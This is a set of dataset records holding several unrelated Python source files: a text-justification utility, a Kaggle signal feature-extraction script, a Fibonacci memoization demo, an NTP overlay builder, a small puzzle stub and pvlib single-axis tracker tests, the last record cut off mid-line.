either version 3 of the License, or\n(at your option) any later version.\n\nTome is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with Tome. If not, see .\n\"\"\"\n\ndef justifyWords(line, linewidth):\n \"\"\"\n Fully justifies text into a given horizontal space.\n\n Given a list of words (to be separated by spaces), and the number of\n columns to fit them into, figures out how to space the words in order to\n fill the exact amount of space specified by linewidth, and returns that\n string (if there are fewer than 2 words in line, then it will not, in\n general be able to fill the linewidth).\n\n If linewidth is smaller than what is required, returns the smallest possible\n text.\n\n :param line:\n The list of words to justify.\n :type line:\n A sequence of strings.\n\n :param int linewidth:\n The number of columns to fit the text into.\n \"\"\"\n required = len(('').join(line))\n leftOver = linewidth - required\n spCount = len(line) - 1\n if spCount == 0:\n return line[0]\n else:\n spacesPer = int(float(leftOver) / float(spCount))\n padd = ' ' * spacesPer\n leftOver = leftOver - spacesPer * spCount\n spaces = [\n spacesPer] * spCount\n while leftOver > 0:\n longestLength = None\n longestLevel = None\n longestI = None\n for i in xrange(spCount):\n length = len(line[i])\n if longestLength is None:\n longestLength = length\n longestLevel = spaces[i]\n longestI = i\n elif spaces[i] < longestLevel:\n longestLength = length\n longestLevel = spaces[i]\n longestI = i\n elif spaces[i] == longestLevel and length > longestLength:\n longestLength = length\n longestLevel = spaces[i]\n longestI = i\n\n spaces[longestI] += 1\n leftOver -= 1\n\n text = ''\n for i in xrange(spCount):\n text += line[i] + ' ' * spaces[i]\n\n text += line[(-1)]\n return text\n\n\ndef wrapText(text, linewidth, remain=None):\n \"\"\"\n Generates an array of lines, each line is an array of words, such that the word fit\n into the specified linewidth.\n\n :param int remain:\n Specifies how many columns remain on the current line. Default is all of them.\n\n \"\"\"\n if linewidth < 10:\n linewidth = 10\n if remain is None:\n remain = linewidth\n word = ''\n widx = 0\n length = len(text)\n line = []\n allLines = []\n while widx <= length:\n if widx == length or text[widx].isspace():\n wlength = len(word)\n if wlength > 0:\n if wlength + 1 > remain:\n if wlength > linewidth:\n while wlength + 1 > linewidth:\n line.append(word[:remain])\n allLines.append(line)\n line = []\n word = word[remain:]\n wlength = len(word)\n remain = linewidth\n\n if wlength > 0:\n line.append(word)\n remain = linewidth - wlength - 1\n word = ''\n else:\n allLines.append(line)\n line = []\n line.append(word)\n remain = linewidth - wlength - 1\n word = ''\n else:\n line.append(word)\n remain -= wlength + 1\n word = ''\n else:\n word += text[widx]\n widx += 1\n\n assert len(word) == 0, word\n if len(line) > 0:\n allLines.append(line)\n return allLines\n\n\nclass TextFormatter(object):\n\n def __init__(self, stream, linewidth=78):\n self.__stream = stream\n self.__linewidth = linewidth\n self.__justify = False\n self.__indent = ' '\n self.__indentLevel = 0\n self.__currentIndent = ''\n self.__currentIndexLength = 0\n self.__linenum = 0\n self.__colnum = 0\n self.__preformatted = False\n\n def setPreformatted(self, preformatted):\n self.__preformatted = preformatted\n\n def __write(self, text, pre=False):\n \"\"\"\n Writes the given text to the output stream and updates the counters.\n \"\"\"\n pre = pre or self.__preformatted\n if not pre and self.__colnum == 0:\n self.__stream.write(self.__currentIndent)\n self.__colnum += self.__currentIndexLength\n self.__stream.write(text)\n self.__colnum += len(text)\n\n def writePre(self, text):\n \"\"\"\n Writes pre-formatted text to the output stream. The given text is broken into lines\n and written to the output stream with a `writeLnbrk` after each one, except for the last\n one. If you want to include a linebreak after the last line as well, just tack on an extra\n one before you pass it in.\n \"\"\"\n lines = text.splitlines()\n for line in lines[:-1]:\n self.__write(line, True)\n self.writeLnbrk()\n\n self.__write(lines[(-1)], True)\n\n def write(self, text):\n \"\"\"\n Writes the given string to the output stream, starting at where it left off.\n All whitespace in the condensced to space characters.\n\n TODO: A parameter to specify that it's the end of a paragraph, so we don't\n justify the last line.\n \"\"\"\n if len(text) == 0:\n return\n if self.__preformatted:\n self.writePre(text)\n return\n if text[0].isspace() and self.__colnum != 0:\n if self.__colnum + 1 >= self.__linewidth:\n self.writeLnbrk()\n else:\n self.__write(' ')\n remain = self.__linewidth - self.__colnum\n lines = wrapText(text, self.__linewidth, remain)\n if len(lines) > 0:\n for line in lines[:-1]:\n self.__writeWordLine(line)\n self.writeLnbrk()\n\n self.__writeWordLine(lines[(-1)])\n if len(text.strip()) > 0 and text[(-1)].isspace() and self.__colnum != 0:\n if self.__colnum + 1 >= self.__linewidth:\n self.writeLnbrk()\n else:\n self.__write(' ')\n\n def writeLnbrk(self):\n self.__stream.write('\\n')\n self.__linenum += 1\n self.__colnum = 0\n\n def __writeWordLine(self, line):\n \"\"\"\n Writes a single line starting from where we left off, composed of the given sequence of space-separated words.\n \"\"\"\n if self.__justify:\n remain = self.__linewidth - self.__colnum\n text = justifyWords(line, remain)\n else:\n text = (' ').join(line)\n self.__write(text)\n\n def indent(self):\n self.__indentLevel += 1\n self.__currentIndent += self.__indent\n self.__currentIndexLength = len(self.__currentIndent)\n\n def outdent(self):\n self.__indentLevel -= 1\n self.__currentIndent = self.__indent * self.__indentLevel\n self.__currentIndexLength = len(self.__currentIndent)","sub_path":"pycfiles/tome-1.5.0.0_r12-py2.7/wrapUtil.py","file_name":"wrapUtil.py","file_ext":"py","file_size_in_byte":8118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"321074697","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 18 19:46:42 2019\n\n@author: sri\n\"\"\"\n\nimport pandas as pd\nimport pyarrow.parquet as pq # Used to read the data\nimport os \nimport numpy as np\nfrom keras.layers import * # Keras is the most friendly Neural Network library, this Kernel use a lot of layers classes\nfrom keras.models import Model, Sequential, load_model\nfrom tqdm import tqdm # Processing time measurement\nfrom sklearn.model_selection import train_test_split \nfrom keras import backend as K # The backend give us access to tensorflow operations and allow us to create the Attention class\nfrom keras import optimizers # Allow us to access the Adam class to modify some parameters\n\nfrom sklearn.model_selection import GridSearchCV, StratifiedKFold # Used to use Kfold to train our model\n#from livelossplot import PlotLossesKeras\nfrom sklearn.preprocessing import MinMaxScaler\nfrom keras.callbacks import * # This object helps the model to train in a smarter way, avoiding overfitting\nimport glob\nfrom scipy.optimize import leastsq\n\n\nos.chdir('/home/sri/Downloads/Kaggle/Fault detection/')\ndf_train = pd.read_csv('metadata_train.csv')\ndf_train = df_train.set_index(['id_measurement', 'phase'])\ndf_test = pd.read_csv('metadata_test.csv')\ndf_test = df_test.set_index(['id_measurement', 'phase'])\nmodel = load_model('AE1_model.h5')\nmodel = Model(model.inputs, model.layers[-9].output)\n\ndef min_max_transf(ts, min_data=-127, max_data=128, range_needed=(-1,1)):\n if min_data < 0:\n ts_std = (ts + abs(min_data)) / (max_data + abs(min_data))\n else:\n ts_std = (ts - min_data) / (max_data - min_data)\n if range_needed[0] < 0: \n return np.asarray(ts_std * (range_needed[1] + abs(range_needed[0])) + range_needed[0])\n else:\n return np.asarray(ts_std * (range_needed[1] - range_needed[0]) + range_needed[0])\n\n\ndef transform_ts(ts, n_dim=160, min_max=(-1,1)):\n # convert data into -1 to 1\n ts_std = min_max_transf(ts)\n # bucket or chunk size, 5000 in this case (800000 / 160)\n bucket_size = 5000\n # new_ts will be the container of the new data\n new_ts = []\n ts_range_temp = ts_std.reshape([-1,bucket_size])\n AE_feat = model.predict(np.expand_dims(ts_range_temp,axis=2))\n #print(AE_feat.shape)\n # this for iteract any chunk/bucket until reach the whole sample_size (800000)\n for i in range(0, ts_range_temp.shape[0]):\n # cut each bucket to ts_range\n ts_range = ts_range_temp[i]\n # calculate each feature\n mean = ts_range.mean()\n std = ts_range.std() # standard deviation\n std_top = mean + std # I have to test it more, but is is like a band\n std_bot = mean - std\n # I think that the percentiles are very important, it is like a distribuiton analysis from eath chunk\n percentil_calc = np.percentile(ts_range, [0, 1, 25, 50, 75, 99, 100]) \n max_range = percentil_calc[-1] - percentil_calc[0] # this is the amplitude of the chunk\n relative_percentile = percentil_calc - mean # maybe it could heap to understand the asymmetry\n # now, we just add all the features to new_ts and convert it to np.array\n new_ts.append(np.concatenate([np.asarray([mean, std, std_top, std_bot, max_range]),\n percentil_calc, relative_percentile, AE_feat[i]]))\n return np.asarray(new_ts)\n\ndef prep_data(start, end):\n # load a piece of data from file\n praq_train = pq.read_pandas('train.parquet', columns=[str(i) for i in range(start, end)]).to_pandas()\n X = []\n y = []\n # using tdqm to evaluate processing time\n # takes each index from df_train and iteract it from start to end\n # it is divided by 3 because for each id_measurement there are 3 id_signal, and the start/end parameters are id_signal\n for id_measurement in tqdm(df_train.index.levels[0].unique()[int(start/3):int(end/3)]):\n X_signal = []\n # for each phase of the signal\n for phase in [0,1,2]:\n # extract from df_train both signal_id and target to compose the new data sets\n signal_id, target = df_train.loc[id_measurement].loc[phase]\n # but just append the target one time, to not triplicate it\n if phase == 0:\n y.append(target)\n # extract and transform data into sets of features\n X_signal.append(transform_ts(praq_train[str(signal_id)]))\n # concatenate all the 3 phases in one matrix\n X_signal = np.concatenate(X_signal, axis=1)\n # add the data to X\n X.append(X_signal)\n X = np.asarray(X)\n y = np.asarray(y)\n return X, y\n\n\nX = []\ny = []\ndef load_all():\n total_size = len(df_train)\n for ini, end in [(0, int(total_size/2)), (int(total_size/2), total_size)]:\n X_temp, y_temp = prep_data(ini, end)\n X.append(X_temp)\n y.append(y_temp)\nload_all()\nX = np.concatenate(X)\ny = np.concatenate(y)\n\n\nprint(X.shape, y.shape)\n# save data into file, a numpy specific format\nnp.save(\"X_feat_AE1.npy\",X)\nnp.save(\"y_feat_AE1.npy\",y)","sub_path":"AE_feat.py","file_name":"AE_feat.py","file_ext":"py","file_size_in_byte":5062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"536738528","text":"\"\"\"\nauthor: Tobias\ndate: 10/3/2018\n\"\"\"\nimport time\n\nfib_of = dict() # memorize former computed fibo numbers\n\n\ndef fib(n):\n\tif n is 0 or n is 1: return n\n\treturn fib(n - 1) + fib(n - 2)\n\ndef fib_mem(n):\n\tif n is 0 or n is 1: return n\n\tif n in fib_of: return fib_of[n]\n\telse: fib_of[n] = fib_mem(n - 1) + fib_mem(n - 2)\n\treturn fib_of[n]\n\n\t\nif __name__ == '__main__':\n\n\tprint('Calculate Fibonacci numbers up to: ', end='')\n\tn = input()\n\tn = int(n)\n\tassert type(n) is int and n >= 0, f'Input is invalid with {n}, must be non-negative integer number'\n\n\tprint('Use memoization? (y/n): ', end='')\n\ta = input()\n\ta = str(a)\n\tassert type(a) is str and (a == 'y' or a == 'n'), f'Input is invalid with {a}, must be y or n'\n\t\n\tfib_func = fib_mem if a == 'y' else fib\n\tassert callable(fib_func), 'Cannot compute fibonacci sequence with non-callable function.'\n\t\n\tt1 = time.perf_counter()\n\tfor i in range(n + 1):\n\t\tprint(f'Fibonacci of\\t{i}\\tis\\t{fib_func(i)}')\n\tt2 = time.perf_counter()\n\tprint(f'Done in approximately {round(t2 - t1, 3)} seconds.')","sub_path":"fibo.py","file_name":"fibo.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"247014858","text":"import autonetkit.ank as ank_utils\nimport autonetkit.log as log\nfrom autonetkit.ank_utils import call_log\n\ndef default_ntp_cfg(node):\n node.ntp = {}\n node.ntp['servers'] = []\n server = {}\n server['key'] = \"@#$%%^&*\"\n server['ip'] = \"192.168.101.12\"\n node.ntp['servers'].append(server)\n\ndef build_ntp(anm):\n g_in = anm['input']\n\n\n ntp_nodes =[]\n for node in g_in:\n #This is based on the assumption that we will put a dictionary named 'config'\n #in node which will containg config for all protocols.\n if node.config is not None and node.config['ntp'] is not None:\n node.ntp = {}\n ntp_config = node.config['ntp']\n\n if 'servers' in ntp_config:\n node.ntp['servers'] = []\n for server in ntp_config['servers']:\n server = dict(server)\n node.ntp['servers'].append(server)\n\n else:\n #do default config for POC\n default_ntp_cfg(node)\n\n ntp_nodes.append(node)\n\n g_ntp = anm.add_overlay(\"ntp\")\n g_ntp.add_nodes_from(ntp_nodes, retain=['ntp'])\n","sub_path":"autonetkit/design/ntp.py","file_name":"ntp.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"178347047","text":"# The knows API is already defined for you.\n# @param a, person a\n# @param b, person b\n# @return a boolean, whether a knows b\n# def knows(a, b):\n\nclass Solution(object):\n def findCelebrity(self, n):\n \"\"\"\n :type n:\n :rtype: int\n \"\"\"\n rows = len(n)\n columns=len(n[0])\n degree={}\n for r in range(rows):\n for c in range(columns):\n if r!=c:\n degree[r]=degree.get(r,0)+n[r][c]\n print(degree)\nif __name__ == '__main__':\n s=Solution()\n s.findCelebrity([\n [1,1,0],\n [0,1,0],\n [1,1,1]\n])\n","sub_path":"findCelebrity.py","file_name":"findCelebrity.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"303873912","text":"import numpy as np\nfrom numpy import nan\nimport pandas as pd\n\nimport pytest\nfrom numpy.testing import assert_allclose\n\nimport pvlib\nfrom pvlib import tracking\nfrom .conftest import DATA_DIR, assert_frame_equal, assert_series_equal\nfrom pvlib._deprecation import pvlibDeprecationWarning\n\nSINGLEAXIS_COL_ORDER = ['tracker_theta', 'aoi',\n 'surface_azimuth', 'surface_tilt']\n\n\ndef test_solar_noon():\n index = pd.date_range(start='20180701T1200', freq='1s', periods=1)\n apparent_zenith = pd.Series([10], index=index)\n apparent_azimuth = pd.Series([180], index=index)\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'tracker_theta': 0, 'aoi': 10,\n 'surface_azimuth': 90, 'surface_tilt': 0},\n index=index, dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n\ndef test_scalars():\n apparent_zenith = 10\n apparent_azimuth = 180\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n assert isinstance(tracker_data, dict)\n expect = {'tracker_theta': 0, 'aoi': 10, 'surface_azimuth': 90,\n 'surface_tilt': 0}\n for k, v in expect.items():\n assert np.isclose(tracker_data[k], v)\n\n\ndef test_arrays():\n apparent_zenith = np.array([10])\n apparent_azimuth = np.array([180])\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n assert isinstance(tracker_data, dict)\n expect = {'tracker_theta': 0, 'aoi': 10, 'surface_azimuth': 90,\n 'surface_tilt': 0}\n for k, v in expect.items():\n assert_allclose(tracker_data[k], v, atol=1e-7)\n\n\ndef test_nans():\n apparent_zenith = np.array([10, np.nan, 10])\n apparent_azimuth = np.array([180, 180, np.nan])\n with np.errstate(invalid='ignore'):\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n expect = {'tracker_theta': np.array([0, nan, nan]),\n 'aoi': np.array([10, nan, nan]),\n 'surface_azimuth': np.array([90, nan, nan]),\n 'surface_tilt': np.array([0, nan, nan])}\n for k, v in expect.items():\n assert_allclose(tracker_data[k], v, atol=1e-7)\n\n # repeat with Series because nans can differ\n apparent_zenith = pd.Series(apparent_zenith)\n apparent_azimuth = pd.Series(apparent_azimuth)\n with np.errstate(invalid='ignore'):\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n expect = pd.DataFrame(np.array(\n [[ 0., 10., 90., 0.],\n [nan, nan, nan, nan],\n [nan, nan, nan, nan]]),\n columns=['tracker_theta', 'aoi', 'surface_azimuth', 'surface_tilt'])\n assert_frame_equal(tracker_data, expect)\n\n\ndef test_arrays_multi():\n apparent_zenith = np.array([[10, 10], [10, 10]])\n apparent_azimuth = np.array([[180, 180], [180, 180]])\n # singleaxis should fail for num dim > 1\n with pytest.raises(ValueError):\n tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n # uncomment if we ever get singleaxis to support num dim > 1 arrays\n # assert isinstance(tracker_data, dict)\n # expect = {'tracker_theta': np.full_like(apparent_zenith, 0),\n # 'aoi': np.full_like(apparent_zenith, 10),\n # 'surface_azimuth': np.full_like(apparent_zenith, 90),\n # 'surface_tilt': np.full_like(apparent_zenith, 0)}\n # for k, v in expect.items():\n # assert_allclose(tracker_data[k], v)\n\n\ndef test_azimuth_north_south():\n apparent_zenith = pd.Series([60])\n apparent_azimuth = pd.Series([90])\n\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=180,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'tracker_theta': -60, 'aoi': 0,\n 'surface_azimuth': 90, 'surface_tilt': 60},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n\n expect['tracker_theta'] *= -1\n\n assert_frame_equal(expect, tracker_data)\n\n\ndef test_max_angle():\n apparent_zenith = pd.Series([60])\n apparent_azimuth = pd.Series([90])\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=45, backtrack=True,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'aoi': 15, 'surface_azimuth': 90,\n 'surface_tilt': 45, 'tracker_theta': 45},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n\ndef test_backtrack():\n apparent_zenith = pd.Series([80])\n apparent_azimuth = pd.Series([90])\n\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=False,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'aoi': 0, 'surface_azimuth': 90,\n 'surface_tilt': 80, 'tracker_theta': 80},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'aoi': 52.5716, 'surface_azimuth': 90,\n 'surface_tilt': 27.42833, 'tracker_theta': 27.4283},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n\ndef test_axis_tilt():\n apparent_zenith = pd.Series([30])\n apparent_azimuth = pd.Series([135])\n\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=30, axis_azimuth=180,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'aoi': 7.286245, 'surface_azimuth': 142.65730,\n 'surface_tilt': 35.98741,\n 'tracker_theta': -20.88121},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=30, axis_azimuth=0,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'aoi': 47.6632, 'surface_azimuth': 50.96969,\n 'surface_tilt': 42.5152, 'tracker_theta': 31.6655},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n\ndef test_axis_azimuth():\n apparent_zenith = pd.Series([30])\n apparent_azimuth = pd.Series([90])\n\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=90,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'aoi': 30, 'surface_azimuth': 180,\n 'surface_tilt': 0, 'tracker_theta': 0},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n apparent_zenith = pd.Series([30])\n apparent_azimuth = pd.Series([180])\n\n tracker_data = tracking.singleaxis(apparent_zenith, apparent_azimuth,\n axis_tilt=0, axis_azimuth=90,\n max_angle=90, backtrack=True,\n gcr=2.0/7.0)\n\n expect = pd.DataFrame({'aoi': 0, 'surface_azimuth': 180,\n 'surface_tilt': 30, 'tracker_theta': 30},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n\ndef test_horizon_flat():\n # GH 569\n solar_azimuth = np.array([0, 180, 359])\n solar_zenith = np.array([100, 45, 100])\n solar_azimuth = pd.Series(solar_azimuth)\n solar_zenith = pd.Series(solar_zenith)\n # depending on platform and numpy versions this will generate\n # RuntimeWarning: invalid value encountered in > < >=\n out = tracking.singleaxis(solar_zenith, solar_azimuth, axis_tilt=0,\n axis_azimuth=180, backtrack=False, max_angle=180)\n expected = pd.DataFrame(np.array(\n [[ nan, nan, nan, nan],\n [ 0., 45., 270., 0.],\n [ nan, nan, nan, nan]]),\n columns=['tracker_theta', 'aoi', 'surface_azimuth', 'surface_tilt'])\n assert_frame_equal(out, expected)\n\n\ndef test_horizon_tilted():\n # GH 569\n solar_azimuth = np.array([0, 180, 359])\n solar_zenith = np.full_like(solar_azimuth, 45)\n solar_azimuth = pd.Series(solar_azimuth)\n solar_zenith = pd.Series(solar_zenith)\n out = tracking.singleaxis(solar_zenith, solar_azimuth, axis_tilt=90,\n axis_azimuth=180, backtrack=False, max_angle=180)\n expected = pd.DataFrame(np.array(\n [[-180., 45., 0., 90.],\n [ 0., 45., 180., 90.],\n [ 179., 45., 359., 90.]]),\n columns=['tracker_theta', 'aoi', 'surface_azimuth', 'surface_tilt'])\n assert_frame_equal(out, expected)\n\n\ndef test_low_sun_angles():\n # GH 656, 824\n result = tracking.singleaxis(\n apparent_zenith=80, apparent_azimuth=338, axis_tilt=30,\n axis_azimuth=180, max_angle=60, backtrack=True, gcr=0.35)\n expected = {\n 'tracker_theta': np.array([60.0]),\n 'aoi': np.array([80.420987]),\n 'surface_azimuth': np.array([253.897886]),\n 'surface_tilt': np.array([64.341094])}\n for k, v in result.items():\n assert_allclose(expected[k], v)\n\n\ndef test_SingleAxisTracker_tracking():\n with pytest.warns(pvlibDeprecationWarning):\n system = tracking.SingleAxisTracker(max_angle=90, axis_tilt=30,\n axis_azimuth=180, gcr=2.0/7.0,\n backtrack=True)\n\n apparent_zenith = pd.Series([30])\n apparent_azimuth = pd.Series([135])\n\n tracker_data = system.singleaxis(apparent_zenith, apparent_azimuth)\n\n expect = pd.DataFrame({'aoi': 7.286245, 'surface_azimuth': 142.65730,\n 'surface_tilt': 35.98741,\n 'tracker_theta': -20.88121},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n # results calculated using PVsyst\n pvsyst_solar_azimuth = 7.1609\n pvsyst_solar_height = 27.315\n pvsyst_axis_tilt = 20.\n pvsyst_axis_azimuth = 20.\n with pytest.warns(pvlibDeprecationWarning):\n pvsyst_system = tracking.SingleAxisTracker(\n max_angle=60., axis_tilt=pvsyst_axis_tilt,\n axis_azimuth=180+pvsyst_axis_azimuth, backtrack=False)\n # the definition of azimuth is different from PYsyst\n apparent_azimuth = pd.Series([180+pvsyst_solar_azimuth])\n apparent_zenith = pd.Series([90-pvsyst_solar_height])\n tracker_data = pvsyst_system.singleaxis(apparent_zenith, apparent_azimuth)\n expect = pd.DataFrame({'aoi': 41.07852, 'surface_azimuth': 180-18.432,\n 'surface_tilt': 24.92122,\n 'tracker_theta': -15.18391},\n index=[0], dtype=np.float64)\n expect = expect[SINGLEAXIS_COL_ORDER]\n\n assert_frame_equal(expect, tracker_data)\n\n\n# see test_irradiance for more thorough testing\ndef test_get_aoi():\n with pytest.warns(pvlibDeprecationWarning):\n system = tracking.SingleAxisTracker(max_angle=90, axis_tilt=30,\n axis_azimuth=180, gcr=2.0/7.0,\n backtrack=True)\n surface_tilt = np.array([30, 0])\n surface_azimuth = np.array([90, 270])\n solar_zenith = np.array([70, 10])\n solar_azimuth = np.array([100, 180])\n out = system.get_aoi(surface_tilt, surface_azimuth,\n solar_zenith, solar_azimuth)\n expected = np.array([40.632115, 10.])\n assert_allclose(out, expected, atol=0.000001)\n\n\ndef test_get_irradiance():\n with pytest.warns(pvlibDeprecationWarning):\n system = tracking.SingleAxisTracker(max_angle=90, axis_tilt=30,\n axis_azimuth=180, gcr=2.0/7.0,\n backtrack=True)\n times = pd.date_range(start='20160101 1200-0700',\n end='20160101 1800-0700', freq='6H')\n # latitude=32, longitude=-111\n solar_position = pd.DataFrame(np.array(\n [[55.36421554, 55.38851771, 34.63578446, 34.61148229,\n 172.32003763, -3.44516534],\n [96.50000401, 96.50000401, -6.50000401, -6.50000401,\n 246.91581654, -3.56292888]]),\n columns=['apparent_zenith', 'zenith', 'apparent_elevation',\n 'elevation', 'azimuth', 'equation_of_time'],\n index=times)\n irrads = pd.DataFrame({'dni': [900, 0], 'ghi': [600, 0], 'dhi': [100, 0]},\n index=times)\n solar_zenith = solar_position['apparent_zenith']\n solar_azimuth = solar_position['azimuth']\n\n # invalid warnings already generated in horizon test above,\n # no need to clutter test output here\n with np.errstate(invalid='ignore'):\n tracker_data = system.singleaxis(solar_zenith, solar_azimuth)\n\n # some invalid values in irradiance.py. not our problem here\n with np.errstate(invalid='ignore'):\n irradiance = system.get_irradiance(tracker_data['surface_tilt'],\n tracker_data['surface_azimuth'],\n solar_zenith,\n solar_azimuth,\n irrads['dni'],\n irrads['ghi'],\n irrads['dhi'])\n\n expected = pd.DataFrame(data=np.array(\n [[961.80070, 815.94490, 145.85580, 135.32820, 10.52757492],\n [nan, nan, nan, nan, nan]]),\n columns=['poa_global', 'poa_direct',\n 'poa_diffuse', 'poa_sky_diffuse',\n 'poa_ground_diffuse'],\n index=times)\n\n assert_frame_equal(irradiance, expected, check_less_precise=2)\n\n\ndef test_SingleAxisTracker___repr__():\n with pytest.warns(pvlibDeprecationWarning):\n system = tracking.SingleAxisTracker(\n max_angle=45, gcr=.25, module='blah', inverter='blarg',\n temperature_model_parameters={'a': -3.56})\n expected = \"\"\"SingleAxisTracker:\n axis_tilt: 0\n axis_azimuth: 0\n max_angle: 45\n backtrack: True\n gcr: 0.25\n cross_axis_tilt: 0.0\n name: None\n Array:\n name: None\n mount: SingleAxisTrackerMount(axis_tilt=0, axis_azimuth=0, max_angle=45, backtrack=True, gcr=0.25, cross_axis_tilt=0.0, racking_model=None, module_height=None)\n module: blah\n albedo: 0.25\n module_type: None\n temperature_model_parameters: {'a': -3.56}\n strings: 1\n modules_per_string: 1\n inverter: blarg\"\"\" # noqa: E501\n assert system.__repr__() == expected\n\n\ndef test_calc_axis_tilt():\n # expected values\n expected_axis_tilt = 2.239 # [degrees]\n expected_side_slope = 9.86649274360294 # [degrees]\n expected = DATA_DIR / 'singleaxis_tracker_wslope.csv'\n expected = pd.read_csv(expected, index_col='timestamp', parse_dates=True)\n # solar positions\n starttime = '2017-01-01T00:30:00-0300'\n stoptime = '2017-12-31T23:59:59-0300'\n lat, lon = -27.597300, -48.549610\n times = pd.DatetimeIndex(pd.date_range(starttime, stoptime, freq='H'))\n solpos = pvlib.solarposition.get_solarposition(times, lat, lon)\n # singleaxis tracker w/slope data\n slope_azimuth, slope_tilt = 77.34, 10.1149\n axis_azimuth = 0.0\n max_angle = 75.0\n # Note: GCR is relative to horizontal distance between rows\n gcr = 0.33292759 # GCR = length / horizontal_pitch = 1.64 / 5 / cos(9.86)\n # calculate tracker axis zenith\n axis_tilt = tracking.calc_axis_tilt(\n slope_azimuth, slope_tilt, axis_azimuth=axis_azimuth)\n assert np.isclose(axis_tilt, expected_axis_tilt)\n # calculate cross-axis tilt and relative rotation\n cross_axis_tilt = tracking.calc_cross_axis_tilt(\n slope_azimuth, slope_tilt, axis_azimuth, axis_tilt)\n assert np.isclose(cross_axis_tilt, expected_side_slope)\n sat = tracking.singleaxis(\n solpos.apparent_zenith, solpos.azimuth, axis_tilt, axis_azimuth,\n max_angle, backtrack=True, gcr=gcr, cross_axis_tilt=cross_axis_tilt)\n np.testing.assert_allclose(\n sat['tracker_theta'], expected['tracker_theta'], atol=1e-7)\n np.testing.assert_allclose(sat['aoi'], expected['aoi'], atol=1e-7)\n np.testing.assert_allclose(\n sat['surface_azimuth'], expected['surface_azimuth'], atol=1e-7)\n np.testing.assert_allclose(\n sat['surface_tilt'], expected['surface_tilt'], atol=1e-7)\n\n\ndef test_slope_aware_backtracking():\n \"\"\"\n Test validation data set from https://www.nrel.gov/docs/fy20osti/76626.pdf\n \"\"\"\n index = pd.date_range('2019-01-01T08:00', '2019-01-01T17:00', freq='h')\n index = 